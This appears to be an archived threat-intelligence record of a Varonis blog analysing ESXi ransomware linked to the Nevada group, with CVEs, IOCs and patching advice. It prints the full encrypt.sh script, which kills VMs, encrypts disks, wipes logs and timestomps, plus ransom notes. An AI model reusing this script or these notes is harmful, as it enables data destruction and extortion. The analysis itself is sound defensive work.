{
	"id": "20b4c530-72a9-4f7d-ac51-56a7cc719231",
	"created_at": "2026-04-06T00:07:47.232592Z",
	"updated_at": "2026-04-10T03:24:17.831634Z",
	"deleted_at": null,
	"sha1_hash": "b58144152c477b7d3de87a8d5ace97094dc41ce7",
	"title": "VMware ESXi in the Line of Ransomware Fire",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 108625,
	"plain_text": "VMware ESXi in the Line of Ransomware Fire\r\nBy Jason Hill\r\nPublished: 2023-02-07 · Archived: 2026-04-05 17:30:50 UTC\r\nServers running the popular virtualization hypervisor VMware ESXi have come under attack from at least one\r\nransomware group over the past week, likely following scanning activity to identify hosts with Open Service\r\nLocation Protocol (OpenSLP) vulnerabilities.\r\nSpecifically, reports suggest that threat actors have been taking advantage of unpatched systems vulnerable to\r\nCVE-2020-3992 and CVE-2021-21974 that, when exploited, can allow remote code execution.\r\n\"Threat actors are executing a ransomware payload that modifies the ESXi configuration before encrypting files\r\nassociated with virtual machines and, finally, dropping a victim-specific ransom note with details of how payment\r\ncan be made.\"\r\nHaving located and exploited a vulnerable host, threat actors are executing a ransomware payload that modifies\r\nthe ESXi configuration before encrypting files associated with virtual machines and, finally, dropping a victim-specific ransom note with details of how payment can be made.\r\nWhile this ransom note suggests that data has been stolen, this has yet to be confirmed, and there is no apparent\r\nfile transfer code within the observed samples. However, any threat actor with the ability to execute code on a\r\ncompromised machine could easily use off-the-shelf utilities to perform data exfiltration prior to encryption.\r\nOf the incidents observed thus far, a ransomware-as-a-service (RaaS) group known as Nevada, believed active\r\nsince late 2022, appears to be responsible for many of these recent attacks ― although their ransom note shares\r\nmany similarities with Cheerscrypt, a ransomware threat that targeted ESXi in early- to mid-2022.\r\nGiven the ongoing nature of this threat, organizations using VMware ESXi version 7.x and earlier are advised to\r\nensure that their installations are suitably patched as a matter of urgency.\r\nNevada ransomware group\r\nNevada is widely thought to be associated with the attacks against vulnerable VMware ESXi servers; specifically,\r\nthe group is suspected of conducting widespread scanning activity to identify VMware ESXi hosts that are\r\nvulnerable to CVE-2020-3992 and/or CVE-2021-21974 using the following IP addresses:\r\n43.130.10[.]173\r\n104.152.52[.]55\r\n193.163.125[.]138\r\nLike other RaaS groups, Nevada has previously advertised on cybercrime forums to recruit affiliates. In exchange\r\nfor providing the ransomware payload and supporting infrastructure, the group will take a commission of 10 –\r\nhttps://www.varonis.com/blog/vmware-esxi-in-the-line-of-ransomware-fire\r\nPage 1 of 15\n\n15%, depending on the affiliate’s status, from any victim making a ransom payment.\r\nAccording to their own cybercrime forum posts, Nevada provides affiliates with a “locker” (encryption) payload\r\nwritten in Rust that has support for Linux, Windows, and VMware ESXi hosts, the latter of which is the subject of\r\nthis recent increase in vulnerability scanning and ransomware attacks.\r\nUsing this multi-threaded encryption payload, Nevada states that they use AES and elliptic-curve cryptography\r\n(ECC) to encrypt victim files in “strips” that render data inaccessible while maintaining high performance and\r\nreducing the time to complete the encryption process.\r\nIn addition to providing the actual ransomware payload used to encrypt victim data ― built on a per-victim basis\r\n― Nevada offers their affiliates access to a control panel used to negotiate with victims.\r\nVulnerabilities\r\nThe following VMware ESXi vulnerabilities (related to the OpenSLP implementation) have been exploited in\r\nthese recent incidents:\r\nCVE-2020-3992\r\nCVE-2021-21974\r\nThe first step organizations should take is to follow the advice of the original VMware security advisories and\r\nensure their installations are both fully patched and ― in the case of ESXi 6.5 and 6.7 ― supported by their\r\nvendor, given that the end of general support for these installations was October 2022.\r\nIf appropriate for your environment, details of a temporary workaround that disables the SLP service is provided\r\nin VMware knowledgebase article 76372.\r\nCVE-2020-3992\r\nDetailed in VMware security advisory VMSA-2020-0023.3, an OpenSLP use-after-free vulnerability could be\r\nexploited by a threat actor with access to an ESXi host via port 427 to gain remote code execution.\r\nWhile best practices would limit access to this port from specific hosts within a management network, threat\r\nactors operating within a compromised network or ESXi hosts inadvertently exposed to the internet, could create a\r\nsituation in which this vulnerability can be remotely exploited.\r\nAssigned a CVSS v3 score of 9.8, this vulnerability is considered critical and affects VMware ESXi versions 6.5,\r\n6.7, and 7.0.\r\nCVE-2021-21974\r\nDetailed in VMware security advisory VMSA-2021-0002, an OpenSLP heap-overflow vulnerability could also be\r\nexploited by a threat actor with access to an ESXi host via port 427 to gain remote code execution.\r\nAs in the previous scenario, the threat actor would need to be in the same network as the ESXi host, although\r\ninadvertently exposed hosts (as scanned for by the threat actors in these incidents) can allow exploitation.\r\nhttps://www.varonis.com/blog/vmware-esxi-in-the-line-of-ransomware-fire\r\nPage 2 of 15\n\nWhile not as severe as CVE-2020-3992, this vulnerability was assigned a CVSS v3 score of 8.8 and is therefore\r\nconsidered important. This vulnerability also affects VMware ESXi versions 6.5, 6.7, and 7.0.\r\nRansomware payload\r\nWidely attributed to the Nevada ransomware group, a Linux executable encryption tool (encrypt) and an\r\nassociated shell script (encrypt.sh) have been observed being dropped onto compromised VMware ESXi hosts and\r\nused to encrypt virtual machine files.\r\nIn addition to these two files, the shell script indicates that the following files will also be present on a\r\ncompromised host:\r\nindex.html ― A ransom note used to replace the VMware ESXi management pages\r\nmotd ― A ransom note to be displayed at system boot/login\r\npublic.pem ― A public key used for encryption\r\narchieve.zip ― Potentially an archive containing the ransomware payload\r\nVirtual machine termination\r\nPrior to launching the encryption phase, the ransomware shell script uses the inbuilt ESX command line interface,\r\nesxcli, to identify each virtual machine's configuration file.\r\nWithin each of these configuration files, the virtual disk (.vmdk) and virtual swap (.vswp) filenames will have the\r\nnumeral 1 appended before the file extension, for example, myvirtualmachine.vmdk would become\r\nmyvirtualmachine1.vmdk:\r\nfor config_file in $(esxcli vm process list | grep \"Config File\" | awk '{print $3}'); do\r\n echo \"FIND CONFIG: $config_file\"\r\n sed -i -e 's/.vmdk/1.vmdk/g' -e 's/.vswp/1.vswp/g' \"$config_file\"\r\ndone\r\nThis action increases the time and complexity of recovery, as the configuration files will all need to be rebuilt to\r\npoint to the correct file paths.\r\nHaving modified the configuration files, each virtual machine is identified by searching the output of the\r\ncurrently-running process list and terminating any process containing the string “vmx”:\r\nkill -9 $(ps | grep vmx | awk '{print $2}')\r\nEncryption\r\nhttps://www.varonis.com/blog/vmware-esxi-in-the-line-of-ransomware-fire\r\nPage 3 of 15\n\nHaving forcefully terminated all virtual machines, ensuring that targeted files are not locked open, the shell script\r\nproceeds to the encryption phase and begins by granting the encrypt payload execute permissions:\r\nchmod +x $CLEAN_DIR/encrypt\r\nUsing the ESXi command line interface, the script iterates through a list of virtual machine file system volumes\r\nwhich are searched for the following filetypes:\r\n.vmdk ― Virtual disk container\r\n.vmx ― Primary configuration\r\n.vmxf ― Supplementary configuration\r\n.vmsd ― Snapshot metadata\r\n.vmsn ― Snapshot saved state\r\n.vswp ― Swap memory\r\n.vmss ― Suspend state\r\n.nvram ― CMOS/BIOS\r\n.vmem ― Memory paging\r\nThe size of files found in this process is calculated to determine how they will be processed, with those smaller\r\nthan 128MB being encrypted in their entirety and those larger than 128MB being encrypted in “steps.”\r\nThe step size used by the encryption process is calculated by dividing the file size in MB by 100 and then\r\nsubtracting one:\r\nif [[ $(($size_kb/1024)) -gt 128 ]]; then\r\n size_step=$((($size_kb/1024/100)-1))\r\nfi\r\nGiven the large size of files associated with virtual machines, this approach will render most files inaccessible\r\nwithout the need, and time, to encrypt the entirety of the data.\r\nNotably, prior to executing the encrypt process, the command line arguments are saved to a text file matching the\r\ncurrent “target” file with an .args file extension, for example: myvirtualmachine1.vmdk.args:\r\necho $size_step 1 $((size_kb*1024)) \u003e \"$file_e.args\"\r\nPresumably this assists the decryption process by recording the encryption step size.\r\nUsing the calculated step size arguments, and specifying the public key public.pem file, the encrypt payload is\r\nexecuted using the “no hang up” nohup command to ensure the process continues to run even if the user (threat\r\nactor) logs off:\r\nhttps://www.varonis.com/blog/vmware-esxi-in-the-line-of-ransomware-fire\r\nPage 4 of 15\n\nnohup $CLEAN_DIR/encrypt $CLEAN_DIR/public.pem \"$file_e\" $size_step 1 $((size_kb*1024)) \u003e/dev/null 2\u003e\u00261\u0026\r\nNotably, executing the encrypt payload without any parameters provides us with a helpful explanation:\r\nusage: encrypt [] [] []\r\n enc_step - number of MB to skip while encryption\r\n enc_size - number of MB in encryption block\r\n file_size - file size in bytes (for sparse files)\r\nRansom notes\r\nOnce the encryption phase has completed, the shell script will search /usr/lib/vmware for files named index.html\r\nand, having renamed the originals as index1.html, drop a replacement index.html containing the ransom note in\r\ntheir place:\r\nfor file_ui in $(find /usr/lib/vmware -type f -name index.html); do\r\n path_to_ui=$(dirname $file_ui)\r\n echo \"FIND UI: $path_to_ui\"\r\n mv \"$path_to_ui/index.html\" \"$path_to_ui/index1.html\"\r\n cp \"$CLEAN_DIR/index.html\" \"$path_to_ui/index.html\"\r\ndone\r\nAt this point, any administrator attempting to access the ESXi administrative interface will be presented with a\r\nransom note (Figure 1) containing a victim-specific bitcoin wallet address.\r\nPotential locations for these index.html files include:\r\n/usr/lib/vmware/hostd/docroot\r\n/usr/lib/vmware/hostd/docroot/ui/\r\nAdditionally, to ensure the ransom note is displayed to any administrator logging onto the compromised ESXi host\r\nvia the console or SSH, the message of the day (motd) file is also renamed and replaced:\r\nmv /etc/motd /etc/motd1 \u0026\u0026 cp $CLEAN_DIR/motd /etc/motd\r\nhttps://www.varonis.com/blog/vmware-esxi-in-the-line-of-ransomware-fire\r\nPage 5 of 15\n\nRansom note similarity\r\nNotably, as mentioned previously in this article, the ransom note content observed in these recent incidents is\r\nsimilar to that used by Cheerscrypt ransomware, a threat that also targeted VMware ESXi servers and that was\r\nfirst observed in the second quarter of 2022.\r\nCheers!\r\n \r\n--------------------------------------------------------------------------------\r\n \r\n--------------------------------------------------------------------------------\r\n \r\nSecurity Alert!!!\r\nWe hacked your company successfully\r\nAll files have been stolen and encrypted by us\r\nIf you want to restore files or avoid file leaks, please contact us\r\n \r\n--------------------------------------------------------------------------------\r\n \r\nAttention!!!\r\nContact us within 3 days, otherwise we will expose some data and raise the price\r\nDon't try to decrypt important files, it may damage your files\r\nDon't trust who can decrypt, they are liars,no one can decrypt without key file\r\nIf you don't contact us, we will notify your customers of the data breach by email and text message\r\nAnd sell your data to your opponents or criminals, data may be made release\r\n \r\nhttps://www.varonis.com/blog/vmware-esxi-in-the-line-of-ransomware-fire\r\nPage 6 of 15\n\n--------------------------------------------------------------------------------\r\n \r\nInformation\r\n \r\nWeb Site Live Chat\r\nYou can visit this site and contact us through widgets or get our email address from this site：\r\nhXXp://.onion\r\n \r\nData Release Site\r\nIf you don't pay and no one wants to buy your data, it will appear here\r\nhXXp://rwiajgajdr4kzlnrj5zwebbukpcbrjhupjmk6gufxv6tg7myx34iocad.onion\r\n \r\n \r\n--------------------------------------------------------------------------------\r\n \r\nNotice\r\nHow to access URLs with onion suffix?\r\nhXXps://www.comparitech[.]com/blog/vpn-privacy/access-dark-web-safely-vpn/\r\n \r\nOr watch this video:\r\nhXXps://www.youtube[.]com/watch?v=4pIi9yTWuRw\r\nThough this may just be an instance of ransom note plagiarism, it is worth mentioning that ransomware groups\r\nhave been known to rebrand in the past.\r\nBased on the Cheerscrypt ransom note, and previous reports of their activity, the ransomware group used the\r\ndouble-extortion tactic in their attacks and shared some stolen data on their Tor-based leak site.\r\nhttps://www.varonis.com/blog/vmware-esxi-in-the-line-of-ransomware-fire\r\nPage 7 of 15\n\nConversely, there is no specific evidence at this time that demonstrates Nevada has carried out data exfiltration,\r\nalthough the possibility remains.\r\nRecommendations\r\nOrganizations using VMware ESXi should ensure that their installations are patched and up to date in accordance\r\nwith VMware guidance.\r\nOrganizations using VMware ESXi version 6.5 and 6.7 may need to verify the support status of their installations\r\ngiven that the end of general support for both versions is listed as October 2022.\r\nConsideration should be given to either disabling, or restricting access to, port 427, especially from untrusted\r\nnetworks.\r\nShould remote access be required to ESXi hosts, consideration should be given to placing these within a network\r\nthat is only accessible after first authenticating to a VPN.\r\nEnsure ESXi hosts are subject to regular backups, preferably stored offline, and that disaster recovery procedures\r\nare robust, tried, and tested.\r\nRecovery\r\nThe US Cybersecurity and Infrastructure Security Agency (CISA) has released a recovery script for victims of\r\nESXiArgs ransomware attacks.\r\nThe recovery script is available from CISA's Github at https://github.com/cisagov/ESXiArgs-Recover\r\nIndicators of compromise\r\nThe following indicators of compromise (IOC) have been identified as associated with this threat\r\nFile Hash IOC\r\nencrypt (Linux\r\n64-bit ELF)\r\nSHA256 11b1b2375d9d840912cfd1f0d0d04d93ed0cddb0ae4ddb550a5b62cd044d6b66\r\nencrypt.sh\r\n(Shell script;\r\nbelieved to be\r\nthe original file)\r\nSHA256 10c3b6b03a9bf105d264a8e7f30dcab0a6c59a414529b0af0a6bd9f1d2984459\r\nencrypt.sh\r\n(Shell script)\r\nSHA256 5a9448964178a7ad3e8ac509c06762e418280c864c1d3c2c4230422df2c66722\r\nencrypt.sh\r\n(Shell script)\r\nSHA256 87961344f13a452fb4aa46dd22a9aa31c5d411b1d8d37bac7a36f94a5be9fb0d\r\nhttps://www.varonis.com/blog/vmware-esxi-in-the-line-of-ransomware-fire\r\nPage 8 of 15\n\nNote: Multiple SHA256 cryptographic hashes have been identified for the encrypt.sh file, although these appear\r\nto arise from new line or whitespace differences. While it is possible that multiple versions are in circulation, the\r\ncore content remains the same and these subtle differences may arise from samples being opened and saved on\r\nvarying operating systems.\r\nAdditionally, logs may show access attempts or scanning activity from the following IP addresses:\r\n43.130.10[.]173\r\n104.152.52[.]55\r\n193.163.125[.]138\r\nNotably, these IP addresses have been associated with vulnerability-scanning in the past and may therefore be\r\nlong-term nefarious hosts used by multiple threat actors.\r\nIf you wait for a breach to occur, it's too late. Strengthen your cloud security today and stay ahead of emerging\r\nthreats with Varonis. Learn more about our comprehensive cloud security solutions and take advantage of our free\r\nData Risk Assessment to help you safeguard your digital assets. \r\nAppendix A — encrypt shell script\r\n#!/bin/sh\r\nCLEAN_DIR=\"/tmp/\"\r\n \r\n# SET LIMITS\r\n \r\nulimit -p $(ulimit -Hp)\r\nulimit -n $(ulimit -Hn)\r\n \r\n## CHANGE CONFIG\r\n \r\nfor config_file in $(esxcli vm process list | grep \"Config File\" | awk '{print $3}'); do\r\n echo \"FIND CONFIG: $config_file\"\r\nhttps://www.varonis.com/blog/vmware-esxi-in-the-line-of-ransomware-fire\r\nPage 9 of 15\n\nsed -i -e 's/.vmdk/1.vmdk/g' -e 's/.vswp/1.vswp/g' \"$config_file\"\r\ndone\r\n \r\n## STOP VMX\r\necho \"KILL VMX\"\r\nkill -9 $(ps | grep vmx | awk '{print $2}')\r\n \r\n## ENCRYPT\r\n \r\nchmod +x $CLEAN_DIR/encrypt\r\n \r\nfor volume in $(IFS='\\n' esxcli storage filesystem list | grep \"/vmfs/volumes/\" | awk -F' ' '{print $2}'); do\r\n echo \"START VOLUME: $volume\"\r\n IFS=$'\\n'\r\n for file_e in $( find \"/vmfs/volumes/$volume/\" -type f -name \"*.vmdk\" -o -name \"*.vmx\" -o -name \"*.vmxf\" -o -n\r\n if [[ -f \"$file_e\" ]]; then\r\n size_kb=$(du -k $file_e | awk '{print $1}')\r\n if [[ $size_kb -eq 0 ]]; then\r\n size_kb=1\r\n fi\r\n size_step=0\r\n if [[ $(($size_kb/1024)) -gt 128 ]]; then\r\n size_step=$((($size_kb/1024/100)-1))\r\nhttps://www.varonis.com/blog/vmware-esxi-in-the-line-of-ransomware-fire\r\nPage 10 of 15\n\nfi\r\n echo \"START ENCRYPT: $file_e SIZE: $size_kb STEP SIZE: $size_step\" \"\\\"$file_e\\\" $size_step 1 $((size_kb*\r\n echo $size_step 1 $((size_kb*1024)) \u003e \"$file_e.args\"\r\n nohup $CLEAN_DIR/encrypt $CLEAN_DIR/public.pem \"$file_e\" $size_step 1 $((size_kb*1024)) \u003e/dev/null 2\u003e\u00261\u0026\r\n fi\r\n done\r\n IFS=$\" \"\r\ndone\r\n \r\n## INDEX.HTML\r\nCLEAN_DIR=\"/tmp/\"\r\nIFS=$'\\n'\r\nfor file_ui in $(find /usr/lib/vmware -type f -name index.html); do\r\n path_to_ui=$(dirname $file_ui)\r\n echo \"FIND UI: $path_to_ui\"\r\n mv \"$path_to_ui/index.html\" \"$path_to_ui/index1.html\"\r\n cp \"$CLEAN_DIR/index.html\" \"$path_to_ui/index.html\"\r\ndone\r\nIFS=$' '\r\n \r\n## SSH HI\r\n \r\nmv /etc/motd /etc/motd1 \u0026\u0026 cp $CLEAN_DIR/motd /etc/motd\r\n \r\nhttps://www.varonis.com/blog/vmware-esxi-in-the-line-of-ransomware-fire\r\nPage 11 of 15\n\n## DELETE\r\necho \"START DELETE\"\r\n \r\n/bin/find / -name *.log -exec /bin/rm -rf {} \\;\r\n \r\nA=$(/bin/ps | /bin/grep encrypt | /bin/grep -v grep | /bin/wc -l)\r\nwhile [[ $A -ne 0 ]];\r\ndo\r\n /bin/echo \"Waiting for task' completion... ($A)\"\r\n /bin/sleep 0.1\r\n A=$(/bin/ps | /bin/grep encrypt | /bin/grep -v grep | /bin/wc -l)\r\ndone\r\n \r\nif [ -f \"/sbin/hostd-probe.bak\" ];\r\nthen\r\n /bin/rm -f /sbin/hostd-probe\r\n /bin/mv /sbin/hostd-probe.bak /sbin/hostd-probe\r\n /bin/touch -r /usr/lib/vmware/busybox/bin/busybox /sbin/hostd-probe\r\nfi\r\n \r\nB=$(/bin/vmware -l | /bin/grep \" 7.\" | /bin/wc -l)\r\nif [[ $B -ne 0 ]];\r\nthen\r\nhttps://www.varonis.com/blog/vmware-esxi-in-the-line-of-ransomware-fire\r\nPage 12 of 15\n\n/bin/chmod +w /var/spool/cron/crontabs/root\r\n /bin/sed '$d' /var/spool/cron/crontabs/root \u003e /var/spool/cron/crontabs/root.1\r\n /bin/sed '1,8d' /var/spool/cron/crontabs/root.1 \u003e /var/spool/cron/crontabs/root.2\r\n /bin/rm -f /var/spool/cron/crontabs/root /var/spool/cron/crontabs/root.1\r\n /bin/mv /var/spool/cron/crontabs/root.2 /var/spool/cron/crontabs/root\r\n /bin/touch -r /usr/lib/vmware/busybox/bin/busybox /var/spool/cron/crontabs/root\r\n /bin/chmod -w /var/spool/cron/crontabs/root\r\nfi\r\n \r\nif [[ $B -eq 0 ]];\r\nthen\r\n /bin/sed '1d' /bin/hostd-probe.sh \u003e /bin/hostd-probe.sh.1 \u0026\u0026 /bin/mv /bin/hostd-probe.sh.1 /bin/hostd-probe.sh\r\nfi\r\n \r\n/bin/rm -f /store/packages/vmtools.py\r\n/bin/sed '$d' /etc/vmware/rhttpproxy/endpoints.conf \u003e /etc/vmware/rhttpproxy/endpoints.conf.1 \u0026\u0026 /bin/mv /etc/vm\r\n/bin/echo '' \u003e /etc/rc.local.d/local.sh\r\n/bin/touch -r /etc/vmware/rhttpproxy/config.xml /etc/vmware/rhttpproxy/endpoints.conf\r\n/bin/touch -r /etc/vmware/rhttpproxy/config.xml /bin/hostd-probe.sh\r\n/bin/touch -r /etc/vmware/rhttpproxy/config.xml /etc/rc.local.d/local.sh\r\n \r\n/bin/rm -f $CLEAN_DIR\"encrypt\" $CLEAN_DIR\"nohup.out\" $CLEAN_DIR\"index.html\" $CLEAN_DIR\"motd\" $CLEAN_DIR\"public.p\r\n \r\n/bin/sh /bin/auto-backup.sh\r\nhttps://www.varonis.com/blog/vmware-esxi-in-the-line-of-ransomware-fire\r\nPage 13 of 15\n\n---\ntitle: How to Restore Your Files\n---\n/bin/rm -- \"$0\"\n\n/etc/init.d/SSH start\nAppendix B — HTML ransom note\n\n# How to Restore Your Files\n\n**Security Alert!!!**\n\nWe hacked your company successfully\n\nAll files have been stolen and encrypted by us\n\nIf you want to restore files or avoid file leaks, please send **\u003cRANSOM_AMOUNT_IN_BTC\u003e** bitcoins\n\nIf money is received, encryption key will be available on **TOX_ID: \u003cTHREAT_ACTOR_TOX_ID\u003e**\n\n**Attention!!!**\n\nSend money within 3 days, otherwise we will expose some data and raise the price\n\nDon't try to decrypt important files, it may damage your files\n\nDon't trust who can decrypt, they are liars, no one can decrypt without key file\n\nhttps://www.varonis.com/blog/vmware-esxi-in-the-line-of-ransomware-fire\nPage 14 of 15\n\nIf you don't send bitcoins, we will notify your customers of the data breach by email and text message\n\nAnd sell your data to your opponents or criminals, data may be made release\n\n**Note**\n\nSSH is turned on\n\nFirewall is disabled\n\nSource: https://www.varonis.com/blog/vmware-esxi-in-the-line-of-ransomware-fire\nhttps://www.varonis.com/blog/vmware-esxi-in-the-line-of-ransomware-fire\nPage 15 of 15",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MITRE"
	],
	"references": [
		"https://www.varonis.com/blog/vmware-esxi-in-the-line-of-ransomware-fire"
	],
	"report_names": [
		"vmware-esxi-in-the-line-of-ransomware-fire"
	],
	"threat_actors": [
		{
			"id": "eb3f4e4d-2573-494d-9739-1be5141cf7b2",
			"created_at": "2022-10-25T16:07:24.471018Z",
			"updated_at": "2026-04-10T02:00:05.002374Z",
			"deleted_at": null,
			"main_name": "Cron",
			"aliases": [],
			"source_name": "ETDA:Cron",
			"tools": [
				"Catelites",
				"Catelites Bot",
				"CronBot",
				"TinyZBot"
			],
			"source_id": "ETDA",
			"reports": null
		}
	],
	"ts_created_at": 1775434067,
	"ts_updated_at": 1775791457,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/b58144152c477b7d3de87a8d5ace97094dc41ce7.pdf",
		"text": "https://archive.orkl.eu/b58144152c477b7d3de87a8d5ace97094dc41ce7.txt",
		"img": "https://archive.orkl.eu/b58144152c477b7d3de87a8d5ace97094dc41ce7.jpg"
	}
}